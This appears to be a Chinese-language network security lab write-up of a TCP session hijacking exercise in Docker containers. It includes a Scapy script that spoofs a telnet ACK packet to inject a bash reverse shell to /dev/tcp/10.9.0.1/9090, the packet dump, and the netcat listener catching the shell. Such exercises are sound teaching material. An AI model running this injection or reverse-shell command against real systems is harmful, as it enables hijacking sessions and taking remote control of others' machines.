Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Tue May 19 08:01:44 UTC 2026 from user1-10.9.0.6.net-10.9.0.0 on pts/3
seed@ca2fa51d4bf9:~$
新建一个终端,使用 wireshark 命令打开 Wireshark,选择 Docker 容器的网络接口名称(br- 开头)。
[05/19/26]seed@VM:~$ wireshark
返回 telnet 连接终端,输入 ls 命令,查看 Wireshark 中抓取的从 10.9.0.6 到 10.9.0.5 的包的 Src Port、Seq 和 Ack 值。
seed@ca2fa51d4bf9:~$ ls
seed@ca2fa51d4bf9:~$
新建一个终端,创建手动攻击脚本 manual_reverse_shell.py,将 sport、seq 和 ack 变量进行替换:
[05/19/26]seed@VM:~/Experiment02$ vim manual_reverse_shell.py
#!/usr/bin/env python3
from scapy.all import *
# 冒充 Host B (10.9.0.6) 向 Host A (10.9.0.5) 发送反向 shell 命令
ip = IP(src="10.9.0.6", dst="10.9.0.5")
# sport 为 B 实际使用的临时端口,dport 为 23
# flags="A" 表示纯ACK,按照模板使用
# seq 与 ack 需从 Wireshark 获取最新 B->A 包的绝对序列号和确认号
tcp = TCP(sport=37338, dport=23, flags="A", seq=1244596620, ack=233209060)
# 恶意命令:反向 shell,连接回攻击者的 9090 端口
data = "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\n"
# 构造完整的恶意注入包
pkt = ip / tcp / data
# 查看数据包详情
ls(pkt)
# 发送数据包
send(pkt, verbose=0)
运行脚本:
[05/19/26]seed@VM:~/Experiment02$ sudo python3 ./manual_reverse_shell.py
version : BitField (4 bits) = 4 (4)
ihl : BitField (4 bits) = None (None)
tos : XByteField = 0 (0)
len : ShortField = None (None)
id : ShortField = 1 (1)
flags : FlagsField (3 bits) = <Flag 0 ()> (<Flag 0 ()>)
frag : BitField (13 bits) = 0 (0)
ttl : ByteField = 64 (64)
proto : ByteEnumField = 6 (0)
chksum : XShortField = None (None)
src : SourceIPField = '10.9.0.6' (None)
dst : DestIPField = '10.9.0.5' (None)
options : PacketListField = [] ([])
--
sport : ShortEnumField = 37338 (20)
dport : ShortEnumField = 23 (80)
seq : IntField = 1244596620 (0)
ack : IntField = 233209060 (0)
dataofs : BitField (4 bits) = None (None)
reserved : BitField (3 bits) = 0 (0)
flags : FlagsField (9 bits) = <Flag 16 (A)> (<Flag 2 (S)>)
window : ShortField = 8192 (8192)
chksum : XShortField = None (None)
urgptr : ShortField = 0 (0)
options : TCPOptionsField = [] (b'')
--
load : StrField = b'/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\n' (b'')
[05/19/26]seed@VM:~/Experiment02$
返回 netcat 运行终端,查看是否劫持成功。
[05/19/26]seed@VM:~$ nc -lnv 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 50848
seed@ca2fa51d4bf9:~$
骇入成功🥷。